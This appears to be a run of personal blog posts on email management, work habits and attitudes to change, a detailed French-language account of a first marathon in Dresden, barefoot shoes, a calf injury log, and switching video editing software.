
Nobody would open a mailbox, see what's inside, and leave it there. Therefore, it does not make any sense to have inboxes full of emails. Leave alone unread emails.

That's why I am doing Inbox Zero: I aim (and almost always succeed) at keeping my inbox empty. My strategy is as follows:

I open my email client a few times a day, usually at the beginning of the day, before lunch, after lunch, a few times in the afternoon when I'm on code-breaks, and before leaving work.
I process emails one by one:
If it's an "action required" email and the action takes less than 5 minutes, I do it immediately then delete the email.
If it's an "action required" email and the action takes more than 5 minutes, I keep the email in my inbox and add a new entry in my TODO list such as "reply to email from X" or "do what X asked for". I will then delete the email when the action is done.
If it's temporary information, I try to memorize it or I take note of it if needed and delete the email immediately. A temporary information could be a Google Calendar invite, a JIRA edit from my colleagues, an incident reported by New Relic, etc.
If it's an important piece of information or a file, I move the email into the appropriate subfolder (they're called labels in Gmail). Examples are a contract (PDF document), an organizational change, a POST-MORTEM document that I believe will be useful in the future, a train ticket that will eventually be deleted when the trip is done, etc. For some attachments, I will save the file on my computer/in the cloud and delete the email right away.

As I just said, I use Gmail labels quite a lot, in the sense that many emails end up labeled, and leave my inbox immediately. However, I only have a handful of them, to keep things simple. Here are a few:

Upcoming: train tickets, hotel reservation, etc. Short-lived emails, usually with attached documents.
Archives: anything that must be stored on the long term, that do not necessarily contain any attachment.

I also rely on Gmail filters extensively. I get a lot of emails I don't need to see at all, that I want deleted automatically. For instance, I often check the notifications on Github, therefore I don't need to also see the emails they send me. These get marked as read and trashed immediately through filters.

Finally, I must confess I use Thundebird, and not the Gmail website. And I'm proud of it. The reasons I use Thunderbird are listed below:

It works offline: I can access my emails when not connected to the Internet. Even though it happens very rarely, it's very handy when in the train for instance.
Gmail is a website, and not a lightweight one. The tab consumes RAM memory, and opening/closing/opening it several times a day is not a better alternative, as it takes many seconds. Also I try to keep my number of opened tabs at any given time to a minimum.
Gmail's UI is distracting, with many buttons here and there.
I don't like the conversation-grouping feature of Gmail, I never got used to it. I think it can be disabled though. Thunderbird also has it but I disabled it.
Thunderbird is simple, RAM-efficient. And having a distinct program for emails help see it as something important, it's not just another tab.

Slack

COVID changed things a lot. What I wrote back in 2019 does not stand anymore, I use Slack a lot now. More than I like to admit. More than emails. Constantly. And more than I'd like to. But this is what hybrid work takes.

Open spaces, headphone and sound

What I wrote back then still holds true, although I do not use headphones as much as I used to. I guess I can stand sound and noise more easily now. Also I am not in the office 5 days a week anymore...

Standing up while working

I'm still a big fan of standing desk. I even motorized the one I have at home.

Sports

In 2019, I was still occasionally smoking, and barely doing any sport, beside the one or two sessions per week at the gym. Things have changed SO MUCH since then. I now do every week 10+ hours of sport. My blog is full of articles about sports, so I won't expant on it here. But sports did change my life in many many ways, all of them positive.

Conclusion

Quite some changes since 2019, but some things remain. I guess we humans never stop experimenting, always seeking better ways to be more efficient. Moving away from Paris most definitely did play a major role in reducing stress levels for me, as well as commuting by bike and doing more sports in general.

On Accepting Change At Work

2024-11-14T23:00:00+01:00

I just needed to write some thoughts "down" as a reminder for myself in the future.

Accepting change is hard. Crazy hard. It's so easy to pick a side and remain stubborn about it. Look at politics for instance. But the thing is, most things are not binary. There is a scale of options or opinions that are possible, not just two. Like a former manager of mine used to say, "the truth lies somewhere in between".

I'd like to mention a few examples to give context, from work:

I used to be against TypeScript. I know advocate for it.
I used to distrust most people above me in the hierarchy, and I liked to believe that I could do their job better at best, or that their role was useless at worst. I've now been a manager for 2 years and I see things COMPLETELY differently. I still do believe that some managers are totally slacking off or just bad at their job though...
I used to be against new processes. I just would not event try to put myself in other people's shoes and claim existing processes were enough. Again, I've changed my approach.

A perfect example is mandatory pull request reviews from code owners. I fought very hard against this. I thought this was a vast of my time: it would slow me down as I'd need to wait for approvals, and also would distract me by having me review things I had no clue about. When it was first implemented at work, I even created a cron job that would automatically approve PRs for which my review was requested. I think I kept it running a day or two before realizing how stupid this was. Nowadays, I'm 100% convinced by the value of mandary reviews by code owners.

There are plenty of other examples... Anyways, I just wanted to write a short article about that. I might develop these thoughts further some day, for now I'll stop here.

Mon premier marathon : récit d'une course parfaite

2024-11-01T23:00:00+01:00

ÇA Y EST JE L'AI FAIT ! Marathonien ! Dingue, je réalise toujours pas. Après des mois de préparation, plusieurs blessures et plusieurs articles de blog, c'est fait ! Qui plus est, j'ai atteint mon objectif : moins de 3 heures 30 ! Allez, je vous raconte.

Motivation

Tout commence réellement il y a un an et demi. Un ami d'enfance (coucou Robin !) passe de fumeur sédentaire à coureur à pied du jour au lendemain avec comme objectif un marathon en 2025. Moi qui courrais péniblement entre 200 et 300 kilomètres par an depuis 2020 sans objectif aucun, voilà qui me donne des idées. Mais à cette époque, je ne jure encore que par le vélo. Mon premier triathlon n'a toujours pas eu lieu, et le semi de Berlin couru en 2h00'22" l'année précédente n'a déclenché aucune passion. Plutôt l'inverse, je me souviens franchir la ligne d'arrivée, après 21 kilomètres, et me dire qu'il me serait absolument impossible de faire un kilomètre de plus.

Le triathlon arrive en Juin et se passe plutôt bien, performance en course correcte dans l'absolu pour quelqu'un qui court peu mais franchement nulle comparée à mon niveau en vélo : allure de 5'09"/km, sur une distance de 4.25 kilomètres. Alors ok, je viens de nager et faire 20 kilomètres de vélo, mais soyons honnête c'est pas grand chose. Je savais que je pouvais faire beaucoup mieux.

La fin de l'été 2023 est là et un constat s'impose à moi : je ~~dois~~ veux perdre 5 kgs pour être meilleur sur le vélo, notamment en montagne. Je viens à nouveau de participer à l'Étape du tour, et malgré une belle progression entre 2022 et 2023, le constat est que j'ai quand même 5 kgs superflus qui me font perdre du temps en montagne. Pourquoi 5 ? Un chiffre un peu au hasard au doigt mouillé, sorti après m'être contemplé 30 secondes devant un miroir 😆. Chiffre réaliste quand même. L'objectif est donc de descendre à 75 kgs pour 1,87m. Le plan est simple : changement d'alimentation (ou plutôt rééquilibrage) et augmentation du sport, notamment de la course à pied, de manière pérenne.

En parallèle, la fasciite plantaire que je me traîne depuis le semi de Berlin en 2022 s'améliore vraiment, je n'ai quasi plus mal, ça me remotive. J'en profite pour m'acheter de nouvelles chaussures et augmente mon volume kilométrique dès l'automne 2023.

L'année avance, l'hiver pointe le bout de son nez et au boulot je remarque que, quand même, beaucoup de gens courent, la trentaine oblige. Par ailleurs, les beaux jours étant terminés, un certains nombre de cyclistes se transforment en coureurs, et ça se voit sur Strava !

Finalement, le coup de grâce viendra en Novembre ou Décembre 2023, lorsque les résultats de la loterie du marathon de Berlin tombent : trois très bon amis de Berlin, cyclistes aussi, sont pris et feront le marathon de Berlin en 2024. C'en est trop pour mon ego, je suis challengé !

L'hiver 2023/2024 passe, ponctué de ski et de course à pied, et ma motivation à courir ne fait que grandir. Je parviens à maintenir un volume kilométrique certes faible mais constant, et en progression tout l'hiver. Je m'inscris à nouveau au semi de Berlin pour Avril, à un 5 kilomètres trois semaines plus tard, et à un 25 kilomètres en Mai. Je parviens même à courir un 21 kilomètres dans un parc fin Décembre, hors compétition, juste pour le fun avec des amis.

Là, ça y est je suis motivé à bloc ! Moi aussi, je ferai un marathon. Tout d'un coup, ce qui me semblait impossible 2 ans plus tôt me semble maintenant atteignable.

Je savais que Robin allait faire celui de Paris en 2025, je me décide à m'inscrire aussi. Mais finalement, voyant ma progression rapide et surtout anticipant mon impatience, je décide de ne pas attendre une année supplémentaire : 2024 sera l'année de mon premier marathon !

Février 2024, il est trop tard pour tenter sa chance à la loterie de Berlin. Je cherche un marathon local pour la fin d'année : ce sera à Dresden, à moins de 2h de Berlin en train, une très jolie ville que je connais déjà, parcours assez plat, météo généralement clémente en Octobre. Entre 5000 et 10000 participants sur marathon et semi marathon.

2 mois plus tard, les inscriptions ouvrent pour Paris 2025 : me voilà aussi inscrit.

Et là tout s'enchaîne, mais surtout les courses 😁 : semi de Berlin, nouvelles chaussures (encore !), 5 kilomètres, 25 kilomètres, triathlon, 10 kilomètres - et bien sûr en continuant le vélo. À chaque course, un nouveau record ou presque. Je suis tellement à fond dans la course à pied, que j'entreprends de me concevoir mon propre plan d'entraînement (j'ai abandonné depuis, y'a des apps qui font très bien le taf !) et surtout je veux tout comprendre avec des chiffres.

Cependant, 2024 aura été ponctuée de plusieurs blessures aussi : une longue périostite post-semi-marathon, une entorse de la cheville, et plus récemment une douleur étrange dans un mollet, qui persiste.

Mais voilà, tout ça m'aura amené à ce jour du 27 Octobre 2024 : mon premier marathon.

Entraînement et état des lieux d'avant course

Comme je l'écrivais au dessus, 2024 fut marquée par 3 blessures significatives :

une périostite, d'avril à août
une belle entorse mi septembre, à 6 semaines du marathon, m'obligeant à ne pas courir pendant 11 jours d'affilée
une déchirure/contracture/? musculaire au mollet gauche, juste après l'entorse, que j'ai toujours aujourd'hui

Concernant mon mollet, j'ai mis les bouchées doubles sur le renforcement musculaire et autres exercices dans les semaines précédant la course, et ça a l'air d'avoir plutôt bien marché puisque la douleur avait nettement diminué au fil des jours, au point d'être totalement supportable pendant la course.

En ce qui concerne mon entraînement, j'ai commencé un plan d'entraînement sur l'application Kiprun Pacer fin Juillet, ce qui me laissait 13 semaines jusqu'au 27 Octobre. 4 sorties par semaine, que j'ai globalement assidûment respectées. Deux exceptions : 11 jours sans courir après l'entorse, et une sortie longue de 19 kilomètres à J-7 que j'ai sautée, à cause de ma douleur au mollet, mais aussi et surtout car le même jour je faisais 100 kilomètres de vélo.

En cette veille de course, je me retrouve à avoir cumulé sur l'année près de 1200 kilomètres de course à pied, et ma blessure au mollet est largement supportable. Quant à l'entorse, elle est guérie à 100%.

Hôtel

Pour ce premier marathon qui n'était pas à la maison, je voulais optimiser la logistique le plus possible. J'ai donc pris un hôtel littéralement en face de la ligne d'arrivée du marathon, et à 1 km du départ : le Maritim Hotel. Par chance, l'Expo (le village), là où on récupère le dossard, était dans le bâtiment d'à côté, un centre des congrès.

Vue intérieure de l'hôtel

L'emplacement était donc vraiment parfait. L'hôtel en soi était top aussi, il y avait une piscine (inclus dans le prix), sauna (5 euros), un resto. Cependant on a profité de rien par manque de temps. Et pour le resto, on avait ramené notre propre nourriture pour ne prendre aucun risque.

Seul bémol : vu qu'Octobre est considéré comme "la saison froide", d'après le staff, l'hôtel avait désactivé toutes les clim. Mais ce weekend de course était relativement chaud, 18 degrés dehors. À l'intérieur de la chambre, il faisait 25 degrés, mesurés avec ma montre. Et impossible d'allumer la clim. On a du laisser la fenêtre ouverte plusieurs heures pour parvenir à faire chuter la température autour de 23. J'avais peur que ça perturbe ma nuit, mais ce ne fut pas le cas.

Heure de départ et changement horaire

Alors là, jackpot pour moi. Déjà que j'aime pas me lever tôt, mais là, le départ était prévu pour 10h30, je ne pouvais pas rêver mieux ! Bonheur. Limite un peu tard même 😂. Mais surtout, la nuit du samedi au dimanche était la nuit du changement d'heure, d'été à hiver : à 3h du mat, il allait être 2h. Donc ce départ à 10h30 était en fait un départ à 11h30 dans l'ancienne heure. Incroyable ! Une super nuit de sommeil se profilait donc.

Affaires prêtes - avant de se coucher

Ma race sheet

C'est bien connu, les veilles de course, on dort en général très mal, à cause du stress. Je savais donc que les nuits d'avant seraient déterminantes et qu'il me fallait dormir ! Et bien j'ai réussi ! Toute la semaine précédant la course, j'ai dormi à chaque fois entre 7h et 8h par nuit. Mais surtout, alors que je m'attendais à peu dormir du samedi au dimanche, et bien j'ai dormi 8h ! Couché à minuit (ancienne heure d'été), réveil prévu pour 8h30 (nouvelle heure d'hiver), il m'a quand même fallu une bonne heure pour trouver le sommeil... mais putain j'ai dormi et d'une traite ! Je me suis même réveillé avant mon réveil 😁.

Bref, au réveil j'étais au top ! 💪

Recharge glucidique, veille de course et petit déjeuner

La fameuse recharge glucidique. Sur le papier, il faudrait manger des tonnes et des tonnes de glucides. On lit sur internet "10 grammes de glucides par kilogramme de poids de corps par jour", ça me ferait autour de 770g de glucide par jour. Impossible. Dans la réalité, on peut augmenter la dose en réduisant les protéines et les graisses, tout en mangeant un peu plus que d'habitude quand même. C'est ce que j'ai fait.

Puisqu'il fallait voyager pour ce marathon dès samedi matin, je ne voulais pas aller au resto et manger n'importe quoi ensuite. Control freak ! Du coup le plan de la semaine était le suivant :

Jeudi et vendredi : à la maison. On ne change pas les plats habituels, seules les doses augmentent. On réduit un peu la part de légumes quand même.

Samedi et dimanche : à Dresden dès le samedi midi, plus aucun légume, à fond les glucides. Le vendredi soir j'ai donc pré-cuit à la maison, pour 2 personnes :

200g+ de pâtes blanches (et non complètes)
200g+ de riz
650g de pommes de terre

En plus de ça, j'ai emmené du pesto, du Speisequark, du lait de soja, des flocons d'avoine, du müsli au chocolat, du Maurten Drink Mix, des bananes et une clémentine.

Train vers Dresden

Ainsi, samedi matin c'était le trajet en train vers Dresden. On est arrivé vers 13h puis on a déjeuné dans un parc : patates + riz + pesto + Speisequark + clémentine. Ensuite, direction l'Expo pour récupérer le dossard, et enfin hôtel check-in. Là, on a quand même chillé un peu avant d'aller faire un peu de shopping dans le centre de Dresden (à vélo, pour ne pas se fatiguer 😉). Et c'est là qu'une crêpe et une tablette de chocolat sauvages sont apparues... 😋😂 Ah oui et j'allais oublier : petit shake out run de 20 minutes juste après avoir checked in à l'hôtel, vraiment lentement, à peine plus de 3 kilomètres. Histoire de... J'aurais préféré faire ça le matin mais c'était pas vraiment possible.

Et samedi soir, c'était pâtes pesto, avec un reste de riz et de patates du midi. Puis maxi chill dans la chambre d'hôtel, on accroche le dossard et prépare tout pour le lendemain matin. Beaucoup de gens accrochent leur dossard le matin, moi je préfère la veille, moins de risques d'oublier quelque chose avec la tête dans le cul matinale. 😁 Et juste avant minuit au lit !

Et le dimanche matin, entre 8h30 et 9h, soit plus d'une heure trente avant le départ : lait de soja avec müsli et flocons d'avoine (en quantité !), et on finit les pâtes et le riz avec du pesto. En plus de ça, une banane et du Maurten Drink Mix. L'idée c'est de manger des choses facilement digérables. En ce qui me concerne, 1h30 avant course ça passe, mais fallait pas manger plus tard, au risque d'avoir des problèmes de ventre.

Avec tout ça, j'étais calé, aucun doute.

Le sujet tabou 💩

Parlons-en. Le sujet dont personne ne parle mais dont tout le monde a peur. 🙈

C'est bien connu, courir, surtout de longues distances, ça donne envie de... d'aller aux toilettes. Souvent de manière brutale et inévitable. C'est ma grande crainte. Mon but avant chaque course est d'être le plus ... vide possible, dirons-nous. Mais je suis quand même préparé à toute éventualité. Je repère par exemple la veille sur la carte les endroits où seront disposés les WC mobiles, au cas où. Et je note au marqueur les kilomètres de ces endroits dans ma main, tout comme je note les kilomètres des ravitaillements d'eau. Oui, c'est une vraie angoisse 😆.

Tatouage marathon : à gauche les ravitaillements, à droite les WC mobiles

Bref, je vais pas m'étaler sur le sujet, mais pour ce premier marathon, le stress a du jouer un peu. Passage aux toilettes une fois le samedi soir et une fois le dimanche matin après le petit-déj, de manière naturelle j'ai envie de dire, sans forcer le destin. Et ben purée après ça, mon niveau de confiance était inébranlable ! 😇 Encore un facteur qui a contribué à rendre cette course parfaite...

Conditions météo

Je le disais en introduction, en Octobre la météo est généralement cool dans l'Allemagne de l'Est. Cette année, pas manqué ! Même un peu trop chaud. Semaine ensoleillée du lundi au dimanche. La course a commencé sous un grand ciel bleu avec des températures légèrement au dessus de 10 degrés, pour finir avec quelques nuages à 18 degrés ! 🥵🌞 Encore un facteur PARFAIT ! Même si j'aurais préféré 5 degrés de moins je pense, car qu'est ce que j'ai pu boire pendant ce marathon !

Nutrition et hydratation

En parlant d'avoir chaud, parlons nutrition et hydratation.

Mon plan était simple :

prendre de l'eau à chaque ravitaillement. Hors de question de me trimballer un camelbak.
un gel Maurten (non caféiné 💩) tous les 4kms, soit environ toutes les 20 mins, ce qui équivaudrait à 75g de glucides par heures, en sautant celui du km 40 car trop proche de la fin. Donc 9 gels en tout.

Et bien c'est passé CRÈME !!! Aucun problème de ventre, aucun mur des 30 kilomètres, rien ! Niquel ! J'avais de l'énergie jusqu'au bout ! Vraiment hyper content à ce niveau-là.

En ce qui concerne l'hydratation, j'ai bien fait attention à m'hydrater dès le réveil. Petit erreur : j'ai oublié d'emmener une bouteille d'eau sur la ligne de départ, ce qui fait que je me suis retrouvé dans mon sas de départ à avoir soif. J'ai du demander de l'eau à quelqu'un. Mais une fois le départ donné, tout s'est déroulé parfaitement. J'ai systématiquement pris un gobelet d'eau claire à chaque ravito, parfois deux même. Une fois ou deux j'ai pris de l'isotonique et du coca, sans faire exprès, mais c'était pas désagréable ma foi. Bref, hydratation et nutrition parfaites. Pendant l'entraînement les semaines précédentes, les sorties longues "en condition", en emmenant des gels, ont bien aidé il faut dire.

Le parcours

Plan de la course

Le parcours était prometteur. Déjà, la vue, avec de nombreuses sections sur les bords de l'Elbe, d'où l'on pouvait apercevoir des vignobles sur les collines et des "châteaux"/belles demeures.

En Septembre, un pont s'est effondré à Dresden, obligeant les organisateurs à changer le parcours légèrement. Notamment la fin du parcours, où ils nous ont fait passer par le centre historique de Dresden, certes magnifique, mais pavé, au lieu de rester sur la piste cyclable qui longe l'Elbe. Mais bon, pas bien grave.

Puisque le marathon de Dresden reste un "petit" marathon en terme de participation, loin des 50,000 participants venus du monde entier à Berlin, certaines routes larges n'étaient pas entièrement fermées à la circulation. Seul un côté l'était, celui où nous courrions. Parfois, ils faisaient même traverser les voitures aux carrefours entre deux groupes de coureurs. Mais pareil, à part quelques odeurs de pot d'échappement pas très agréables, ça ne m'aura pas dérangé du tout.

Au km 6, après plusieurs côtes dans "la nouvelle ville" de Dresden, le parcours nous emmenait dans un long tunnel (à vue de nez, facilement 500m) en descente légère, dans lequel résonnait un tambourinement énorme. Puissant, venu de la sortie du tunnel, si loin mais si proche en même temps. Si fort qu'il m'était impossible de penser. Mais enivrant, transportant. Alors que je courrais, une scène de Matrix 2 me revient en tête. C'est ça. C'est exactement ça. Comme dans le film ! Je me laisse aller, le sourire aux lèvres. Le tunnel est éclairé de toutes les couleurs, juste pour nous, coureurs. C'est dingue.

Le reste du parcours était relativement plat. Strava m'indique que nous avons eu 171m de dénivelé positif. Nous sommes restés avec les semi-marathoniens jusqu'au km 17.5. Jusque-là c'était relativement dense, et tout d'un coup presque plus personne. Je trouve un français juste devant, encouragé par sa famille sur le côté - c'est comme ça que je j'ai su qu'il était français. Après s'être salués, nous courons ensemble 1 ou 2 kilomètres, dans le silence, sans parler. Puis petit à petit il me distance. Il devait courir 2 ou 3 secondes de moins que moi au kilomètre. Je finirai la course 32 secondes après lui.

Après avoir parcouru 21 kilomètres, on fait une deuxième boucle pas tout à fait similaire à la première, jusqu'à l'arrivée. Le reste du parcours est sympa, hormis quelques kilomètres courus dans des petites rues où il s'agissait de faire demi-tour au bout et revenir sur nos pas. Les derniers kilomètres sont chouettes et se font à longer le bord de l'Elbe puis traversent la vieille ville, avant de passer la ligne d'arrivée exactement devant notre hôtel.

Douleurs pendant la course

Alors là ça va être rapide : aucune. J'avais l'habitude depuis plusieurs semaines de courir avec cette douleur dans le mollet gauche, plus ou moins forte. Mais là, je ne l'ai pas sentie, à part peut-être une fois ou deux brièvement. Mais sinon, rien, tellement concentré dans la course, dans le chrono que je visais, pris par l'ambiance, occupé à planifier le prochain gel ou prochain ravitaillement en eau, imaginant plein de scénarios possibles ("et si je ralentissais là tout de suite ?" 😅).

Gestion de l'effort et ce qui se passe dans la tête au fil des kilomètres

D'ailleurs en parlant de scénarios... C'est dingue tout ce à quoi on a le temps de penser quand on se retrouve tout seul avec soi-même pendant près de 3 heures et demi !

Avant la course, j'avais vu des vidéos sur comment "break down" un marathon : en français, comment découper un marathon mentalement en plusieurs phases. Kms 0-10 : ne pas partir trop vite, rentrant dans le flow. 10-30 : maintenir un pace, débrancher le cerveau. 30-35 : la course commence maintenant. 35-40 : "a walk in the park", presque fini, on peut lâcher les chevaux. 40-42 : sprint final. Y'a un peu de vrai là dedans.

En ce qui me concerne, beaucoup de monde au début, avec le stress de la course, et les quelques montées, les 10 premiers kilomètres sont courus un poil plus vite que prévu, mais rien de dramatique. Au km 10 je me souviens avoir donné RDV à mon cerveau 20 kilomètres plus tard (donc au km 30) mais je n'ai jamais vraiment réussi à "déconnecter". Je n'ai pour ainsi dire jamais vraiment trouvé cet état de flow, assez facile à atteindre à l'entraînement, seul. Les kilomètres s'enchaînent, vers le km 11 je lance une grosse accélération dans le but de rattraper les pacers de 3h30 qui se trouvent depuis le début environ 200m devant moi. D'ailleurs ça se voit sur Strava, mon kilomètre 12 a été couru 14 secondes plus vite que mon allure cible. Je reste avec ce groupe de mémoire 3 ou 4 kilomètres avant de me décider à les lâcher et à passer devant, car je sentais que je pouvais et que le groupe me ralentissait un peu par rapport à mon allure cible.

Ensuite, km 18 je me colle au français que je viens de rencontrer. Pas grand chose me passe par la tête mais je réalise que, quand même, ça devient compliqué. Psychologiquement, en ce qui me concerne, tant que la moitié n'est pas passée, j'en chie. À vélo c'est pareil. Je peux faire un 200 kilomètres assez facilement, tant que les 100 premiers sont déjà faits 😆. Bref. Ça y est, on traverse l'Elbe à nouveau, sur un pont, soleil en plein visage, le kiff, et je vois le panneau des 21 kilomètres. Bingo! Y'a "plus qu'à rentrer à la maison", comme j'aime me le dire à chaque fois. Mentalement, ça me débloque.

Les kilomètres 21 à 28 sont assez horribles. Des petites rues, deux fois nous faisons demi tour au bout d'une rue (heureusement deux rues différentes), donc à chaque fois on revient sur nos pas, chaque sens de marche d'un côté de la rue. Rébarbatif. Je rentre dans le dur psychologiquement. Physiquement, R.A.S, tout roule niquel.

Et c'est là que les pensées cheloues apparaissent haha. Je commence à imaginer les 5 personnages du dessin-animé "Vice Versa" dans ma tête. J'imagine "Colère" en mission pour débrancher la partie de mon cerveau qui me fait douter. J'imagine "Peur" qui fait un rapport de l'état de mon corps et notamment des jambes. J'imagine "Joie" qui prend le contrôle du tableau de bord. Bref, ça me donne le sourire et me permet de ne pas voir passer quelques kilomètres. Surtout qu'il parait que les coureurs souriant performent mieux...

Personnages de Vice-Versa

Les kilomètres 29 à 38 sont une redite du premier tour, ennuyant mais au moins je savais à quoi m'attendre. Et c'est là que je me rends compte que chaque seconde perdue par rapport à mon allure cible devient presque impossible à rattraper. Ça y est, je suis officiellement fatigué.

Negative split ? Oublie ! Il faut que je maintienne mon rythme, je n'arrive plus à faire d'accélérations comme au tour précédent. Chaque seconde perdue est définitivement perdue. Pour vous donner une idée, sur la montre, j'avais fixé un temps cible d'arrivée. Au km 20, j'avais environ 50 secondes d'avance sur ce temps, une bonne partie gagnée en accélérant pour rattraper le groupe des pacers. Et bien à partir du km 30, les 50 secondes n'ont fait que diminuer petit à petit, si bien que j'ai franchi la ligne d'arrivée avec à peine plus de 10 secondes d'avance sur mon temps prévu à la montre. Bref, les kilomètres après le km 29 sont vraiment difficiles. Je repense à une technique de mon Youtubeur préféré, qui consiste à se dire "allez je maintiens cette allure encore 1 km, et après je verrai". Et en fait, au bout d'un km, ne pas "voir" mais simplement se répéter cette phrase à nouveau. Ça marche pas mal quand on aperçois le panneau kilométrique au loin, ça marche moins quand on ne voit pas le panneau 😆. Une autre phrase (de moi, celle-ci) que je me suis pas mal répétée était "pense à la satisfaction de ne pas avoir ralenti, d'avoir atteint ton objectif de temps". Ça marchait plutôt bien.

Tout au long du marathon, je n'ai pas regardé une seule fois mon rythme cardiaque sur la montre. Il est plutôt normal qu'il soit supérieur à ce qu'il est à l'entraînement, de par le fait que ça soit une course. Mais ce jour-là, j'étais au moins 10 ou 15 pulsations plus haut 🤣. Bien content de ne pas avoir regardé, ça m'aurait inquiété. Et pourtant, au niveau cardiaque, je me suis senti à l'aise toute la course !

Une belle dérive cardiaque tiens !

Kilomètres 35-40. "A walk in the park". Et bah c'est vrai ! La motivation revient, une sorte de deuxième souffle aussi. Au lieu de compter de 0 à 42, je compte maintenant en "kilomètres restants". Je compte comme ça depuis le km 30, à vrai dire. Donc là, quand je passe 35, je me dit "plus que 7 ! C'est quoi, sept ? C'est rien, sept !". Un petit calcul (difficile, à ce stade de la course) me fait réaliser que 7 kilomètres c'est même pas 35 minutes. Allez !

Bientôt la fin !

Km 40 ! On rentre dans la vieille ville. Je commence à cogiter et réaliser que je suis en train de finir un marathon bordel !!! L'émotion monte d'un coup et une envie de pleurer arrive, qui me coupe le souffle, littéralement. Je me dis "ressaisis-toi, tu pleureras dans 2 kilomètres" et 30 secondes plus tard mon souffle est de nouveau normal (spoiler alert : aucune larme de joie après la ligne d'arrivée haha c'était maintenant ou jamais, faut croire). La vieille ville et ses rues pavées rendent la course vraiment difficile, il faut faire attention à chaque pas au risque de se fouler une cheville. Beaucoup de coureurs optent pour les trottoirs au lieu de la rue, je fais de même.

Et enfin... Dernier virage. Au loin, l'arrivée. Je donne tout, j'accélère, je fais le beau pour les photos, et c'est finiiiiiiiii !!! Fini bordel !!! J'ai fait un marathon !!!

3h28'19" temps brut - 3h27'12" temps réel

État des lieux post-course et conclusion

Quelques minutes après l'arrivée

Aussi incroyable que cela puisse paraître, je n'ai aucune douleur ni aucune nouvelle blessure. Ma mini blessure au mollet que je n'ai absolument pas sentie pendant la course mettra quelque heures avant de se réveiller un peu, mais rien de supérieur en terme de douleur à ce que j'ai pu ressentir dans les semaines précédentes.

Entorse ? Rien, absolument rien, la cheville est bel et bien réparée. Périostite ? Aucune ! Je porte maintenant systématiquement des manchons de compression. J'ose croire que ça aide à prévenir les périostites.

Le soir même, les jambes sont un peu douloureuses, mais que d'un point de vue musculaire. Disons que je sens que les muscles ont bien travaillé. Ça ne m'aura pas empêché de m'endormir plus de 10 minutes haha.

Dans les jours qui suivent, presque pas de courbature, à peine le lundi, et déjà plus rien dès le mardi. Les nouvelles mousses des chaussures à plaque carbone doivent beaucoup aider.

Bref ! Voilà qui conclue ce long article, sur ce premier marathon aux conditions parfaites, et au résultat à la hauteur de mes espérances. Grande grande satisfaction, ça me donnerait presque envie de recommencer 😆. Mais d'abord, je vais commencer par prendre le mois de Novembre off running, on avisera à partir de Décembre 😃.

🫡🏃

Barefoot Shoes

2024-10-18T00:00:00+02:00

Tiny article here to say that I'm buying barefoot shoes (a.k.a minimalist shoes) for everyday use! Why? To strength my feet while walking, apparently on the long term these shoes help prevent running injuries. I'll start rotating my shoes, between my classic sneakers and these new barefoot shoes. Running-wise, I'll stick to big cushioned shoes for now.

After hours spent researching the web, here a list of shoes I considered/am considering for the future, in no particular order:

Feelgrounds
Vivobarefoot Geo Court III
Xero Shoes: a good review on the Prios. Can run with them too. I would probably buy them next, after the Whitin ones I got.
Whitin shoes: an Amazon-only brand. A review here. Those are the ones I got.
Altra: not considered barefoot or minimalist because they have cushion, despite a wide toebox and zero drop.
Vibram 5 Fingers (a.k.a VFF)
Lems
Mukishoes

Calf Muscle Tear

2024-10-17T19:37:00+02:00

So I'm just done with a sprained ankle... but just as it was healing, I'm struck with what I believe is muscle tear. Or muscle strain? I don't know. It could even be something totally different, for all I know. Achilles tendinitis? Unlikely, but the pain is sort of between the calf muscles and the tendon though. But it's not that bad, I can walk 100% normally, with little pain. And I can run 100% normally too, my stride remains unaffected, but with more acute pain.

I just wanted to write this here for the record. So it'll be a short article. It started with the big training session of October the 4th and it further developed with every session that followed. In the left lower leg, I've now got multiple spots where it hurts (one on the inner side, in the soleus muscle I think; another in the lower part of the gastrocnemius muscle, close to the tendon). It hurts quite a lot when going down stairs, jumping on one leg only - single leg hope - and at the beginning of any run (the first 5kms), averaging 5 pain-wise on a scale from 0 to 10 in the beginning. Then, as I pick up the pace and go faster than 5 mins/km, the pain fades a bit down to 2 or 3/10. And it varies across the different spots. In the right lower leg, it seems like my soleus is hurting too in the inner side, only when running, and less than the left leg.

I'm not worried about the right leg, I feel nothing while walking/sitting, and barely feels it while running. It's the left leg that worries me a little, but it all seems to be muscle-related, nothing to do with bones or tendons (I think!). Possible reasons? The 11 days off running I took to allow my ankle to recover... then I basically went all-in again to catch up on my training plan. Also, that session on the 4th of October was truly hard and intense, probably the hardest I ever did. And with still fairly new shoes (the Asics METASPEED SKY PARIS). So you know... nothing new really.

I have not lost hope regarding the marathon in 10 days. Two Sundays ago I ran 31 kms with that pain, it remained constant throughout the run and was bearable. And again last Sunday, 25 kms, constant and bearable, not increasing. It should work the same over 42 kms. Then I'll take all of November completely off, hoping to start fresh again in December, injury free for good this time.

Things to do to help recover

UPDATE: 2024-10-22

Ran 13 kms today, from slow to marathon pace. There is definitely some improvement. My right leg is 100% fine again, no more pain. The left one, it's a different story. The painful spot I had in the back of the calf, just at the beginning of the Achilles tendon is gone, but the pain in the inner side of the calf remains (I still believe it comes from the soleus muscle). Oddly enough, the pain originated at the spot lower in the leg today. The pain started at 2/10, increased to 4/10, around km 6 or 7 I had a burst of pain, a flare, as if my soleus was being stabbed. Very brief. After that, the pain dropped to 1 or 2/10 until the end of the run, barely noticeable, and definitely manageable.

Things I did recently that may have helped:

I did not run at all in the previous 3 days
I bought a massage gun last weekend
Today I wore compression socks that are tighter than the ones I usually wear

I'm confident for Sunday 🤞.

UPDATE: 2024-12-04

More than a month after my first marathon ever, I thought this deserved an update. I'll keep it short: the marathon went amazingly well, no pain at all during the race, or very mild, but barely noticeable. I still felt it in the following days, a little stronger. After the race, I stopped running for 3 weeks (to be exact, I actually ran once a week, slowly and short distances). That was enough for my calf to heal completely. I haven't felt anything now for 2+ weeks. 🎉 Since the end of November, I am gradually increasing the distances again, and slowly getting back to 3 or 4 easy jogs a week. So happy!!!

Farewell Kdenlive, Hello DaVinci Resolve. And colors explained.

2024-09-18T20:00:00+02:00

UPDATE JUNE 2025: this article is partially obsolete. See My Ultimate Video Edition Tutorial for a more recent one.

I've been a long time fan of Kdenlive, but now has come a time for change. Kdenlive is great but it's got limitations. Transitions are pretty basic, for example. Also, 10-Bit and/or HDR is not (fully) supported. Overall, the program is not as polished as a professional-grade one. That's why I decided to change and find a better video editing application. And I've settled for DaVinci Resolve, the free version (more than enough for my needs).

